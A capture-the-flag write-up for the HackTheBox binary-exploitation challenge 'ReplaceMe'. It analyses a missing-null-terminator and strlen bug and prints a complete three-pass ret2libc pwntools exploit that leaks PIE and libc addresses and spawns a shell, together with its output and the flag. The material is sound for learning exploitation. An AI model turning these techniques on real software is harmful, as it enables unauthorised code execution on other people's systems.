pwnfreemedium

ReplaceMe

hackthebox

Task: sed-like string replacement utility with read() not adding null terminator and contiguous BSS buffers. Solution: 3-pass ret2libc exploiting strlen inflation across buffer boundary, partial return address overwrite for PIE leak, GOT read for libc leak.

$ ls tags/ techniques/
multi_pass_ret2libcpartial_ret_addr_overwritepie_leak_via_fputslibc_leak_via_gotbss_contiguous_strlen_inflationlocal_variable_overwrite_controlstack_alignment_tracking

ReplaceMe — HackTheBox

Description

"This useful interactive SED-like utility was shared with me to use, can you make sure it is safe?"

64-bit ELF PIE binary, dynamically linked, not stripped. Implements an interactive string replacement utility in sed format (s/old/new/). Takes an input string and a replacement pattern, performs substitution, and outputs the result.

Remote target: 154.57.164.68:32476.

Files: replaceme (binary), libc.so.6 (Ubuntu GLIBC 2.31-0ubuntu9.14), Dockerfile (Ubuntu 20.04, socat), flag.txt.

Protections

ProtectionStatus
PIEEnabled
NXEnabled
CanaryNo
RELROFull (GOT not writable, but readable)

Analysis

Key Functions

main()

Sequentially reads two inputs into BSS:

  • input (BSS 0x4040, 128 bytes) — string to process
  • replacement (BSS 0x40c0, 128 bytes) — replacement pattern in s/old/new/ format

Then calls do_replacement().

ask_input(prompt, buffer, size)

Uses read(0, buffer, size)does not add null terminator. This is critical: if all 128 bytes of input are filled, strlen() will continue reading into replacement.

do_replacement() — vulnerable function

Parses s/old/new/, finds old in input, builds result: prefix + new + suffix into stack buffer result[128] via memcpy without bounds checking.

rbp-0xc0: result[128]        ← buffer start
rbp-0x40: padding
rbp-0x3c: after_len           ← suffix length (int)
rbp-0x38: wp                  ← write pointer
rbp-0x30: match               ← match pointer
rbp-0x24: new_len
rbp-0x20: end_slash
rbp-0x14: old_len
rbp-0x10: mid_slash
rbp-0x08: old_start
rbp+0x00: saved RBP
rbp+0x08: return address      ← result + 0xc8 = result[200]

BSS Layout

input (0x4040) and replacement (0x40c0) are located contiguously in BSS. When input is filled with all 128 bytes without null terminator, strlen() continues counting bytes from replacement, inflating after_len.

Vulnerability

  1. Stack buffer overflow: prefix_len + new_len + after_len can exceed 128 bytes of result, overwriting local variables, saved RBP, and return address.
  2. strlen inflation: read() doesn't set \0, and input and replacement are contiguous in BSS → strlen(match + old_len) counts bytes from both buffers.
  3. No canary → direct RIP control.
  4. memcpy with explicit length → null bytes in ROP addresses are preserved (unlike strcpy).
  5. fputs(result) prints until null byte → can leak addresses from stack.

Solution

Strategy: 3-pass ret2libc

The binary has Full RELRO (GOT not writable) and PIE, so we need to:

  1. Leak PIE base
  2. Leak libc base via GOT (readable)
  3. Call system("/bin/sh")

Each pass overwrites the return address to return to main() for the next iteration.

Key Constraints

  • new_str cannot contain 0x2f (/) — sed parser interprets it as delimiter
  • In passes 2-3, long new_str overwrites local variables. after_len (rbp-0x3c) needs to be set to -1 (0xFFFFFFFF) — this is not null (fputs won't stop) and negative (skips suffix memcpy)
  • Stack alignment: each pass through main shifts RSP by 8 bytes. By pass 3, alignment is naturally correct for system()

Pass 1: PIE Base Leak

Input: "N" + "B"*127 (128 bytes, no null) Replacement: "s/N/" + "A"*71 + "/" (76 bytes)

  • old = "N" (1 byte), new = "A"*71, match at input[0]
  • prefix_len = 0, new_len = 71
  • after_len = strlen(input[1]) = 127 (B's) + 3 (start of "s/N" from replacement until \0) = 130
  • Total written: 0 + 71 + 130 = 201 bytes → overwrites 1 byte of return address
  • result[200] = 'N' = 0x4e → low byte of ret addr changes from 0xbe to 0x4e
  • Original ret addr: PIE + 0x16be → becomes PIE + 0x164e = main() (100% reliable, low 12 bits of PIE are fixed)
  • fputs(result) prints 206 bytes (until null in 6th byte of PIE address)
  • Last 6 bytes of output = modified return address → PIE base leaked

Pass 2: libc Base Leak

Input: "A"*127 + "\x01" (128 bytes, match at position 127) Replacement: "s/\x01/" + new_str(123 bytes) + "/" (128 bytes)

new_str layout (123 bytes):

[0:5]     "B"*5                    — padding
[5:9]     p32(0xFFFFFFFF)          — after_len = -1 (prevents suffix crash)
[9:73]    "B"*64                   — padding
[73:81]   p64(PIE + 0x1733)        — pop rdi; ret
[81:89]   p64(PIE + 0x3f98)        — puts@GOT (rdi argument)
[89:97]   p64(PIE + 0x10e0)        — puts@PLT
[97:105]  p64(PIE + 0x164e)        — main (return for pass 3)
[105:123] padding

ROP chain: pop rdi; ret → puts@GOT → puts@PLT → main puts() outputs resolved libc address of putslibc base leaked.

Pass 3: Getting Shell

Same overflow technique, different ROP chain:

[73:81]   p64(PIE + 0x1733)        — pop rdi; ret
[81:89]   p64(libc + 0x1b45bd)     — "/bin/sh"
[89:97]   p64(libc + 0x52290)      — system()

Stack alignment: by pass 3, RSP is naturally 16-byte aligned for system(), no additional ret gadget needed.

0x2f check: if any byte of ROP addresses equals 0x2f, sed parser will break. This depends on ASLR and is handled by retry loop.

Exploit

#!/usr/bin/env python3 from pwn import * context.binary = "./replaceme" context.log_level = "info" MAIN = 0x164E POP_RDI_RET = 0x1733 RET_GADGET = 0x101A PUTS_PLT = 0x10E0 PUTS_GOT = 0x3F98 libc = ELF("./libc.so.6") LIBC_PUTS = libc.symbols['puts'] # 0x84420 LIBC_SYSTEM = libc.symbols['system'] # 0x52290 LIBC_BINSH = next(libc.search(b'/bin/sh')) # 0x1b45bd def exploit(target): if target == "local": p = process("./replaceme") else: host, port = target.split(":") p = remote(host, int(port)) # PASS 1: PIE Leak via partial overwrite p.recvuntil(b"Input: ") p.send(b"N" + b"B" * 127) p.recvuntil(b"Replacement: ") p.send(b"s/N/" + b"A" * 71 + b"/") p.recvuntil(b"result:\n") data = p.recv(206) leaked_addr = u64(data[200:206] + b"\x00\x00") pie_base = leaked_addr - MAIN log.success(f"PIE base: {hex(pie_base)}") # PASS 2: Libc Leak via puts(puts@GOT) p.recvuntil(b"Input: ") p.send(b"A" * 127 + b"\x01") p.recvuntil(b"Replacement: ") new_str = bytearray(b"B" * 123) new_str[5:9] = p32(0xFFFFFFFF) # after_len = -1 new_str[73:81] = p64(pie_base + POP_RDI_RET) new_str[81:89] = p64(pie_base + PUTS_GOT) new_str[89:97] = p64(pie_base + PUTS_PLT) new_str[97:105] = p64(pie_base + MAIN) new_str = bytes(new_str) if b"/" in new_str: p.close(); return False p.send(b"s/\x01/" + new_str + b"/") p.recvuntil(b"result:\n") p.recv(206) leak_line = p.recvline() leaked_puts = u64(leak_line[:-1].ljust(8, b"\x00")) libc_base = leaked_puts - LIBC_PUTS log.success(f"Libc base: {hex(libc_base)}") # PASS 3: system("/bin/sh") p.recvuntil(b"Input: ") p.send(b"A" * 127 + b"\x01") p.recvuntil(b"Replacement: ") new_str3 = bytearray(b"B" * 123) new_str3[5:9] = p32(0xFFFFFFFF) new_str3[73:81] = p64(pie_base + POP_RDI_RET) new_str3[81:89] = p64(libc_base + LIBC_BINSH) new_str3[89:97] = p64(libc_base + LIBC_SYSTEM) new_str3 = bytes(new_str3) if b"/" in new_str3: p.close(); return False p.send(b"s/\x01/" + new_str3 + b"/") sleep(1); p.recv(timeout=2) p.sendline(b"cat flag.txt") sleep(1) flag = p.recv(timeout=3) log.success(f"Flag: {flag}") p.close() return True if __name__ == "__main__": import sys target = sys.argv[1] if len(sys.argv) > 1 else "local" for attempt in range(20): try: if exploit(target): break except: continue

Exploit Output

[*] Attempt 1
[+] PIE base:    0x562c6a6dd000
[+] Leaked puts: 0x7f7d9ae98420
[+] Libc base:   0x7f7d9ae14000
[+] id output: b'uid=1337(ctf) gid=1337(ctf) groups=1337(ctf)\n'
[+] flag output: b'HTB{r34d_wh4t_y0u_n33d_4nd_wr1t3_wh4t_y0u_d0nt}\n'

Key Indicators

Use this technique when:

  • read() without null termination into contiguously located BSS buffers — strlen reads across buffer boundary
  • Stack buffer smaller than possible output when concatenating multiple parts via memcpy
  • sed-like parser with s/old/new/ format — / character restriction in payload
  • memcpy with explicit length (not strcpy) — null bytes in ROP addresses are preserved
  • PIE without canary — partial overwrite of low byte of ret addr for 100% reliable PIE leak
  • Full RELRO — GOT not writable, but readable via puts(GOT_entry) for libc leak
  • fputs/puts on stack buffer — prints until null, leaking addresses beyond data
  • Multi-pass exploitation — each pass returns to main for next leak/attack

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups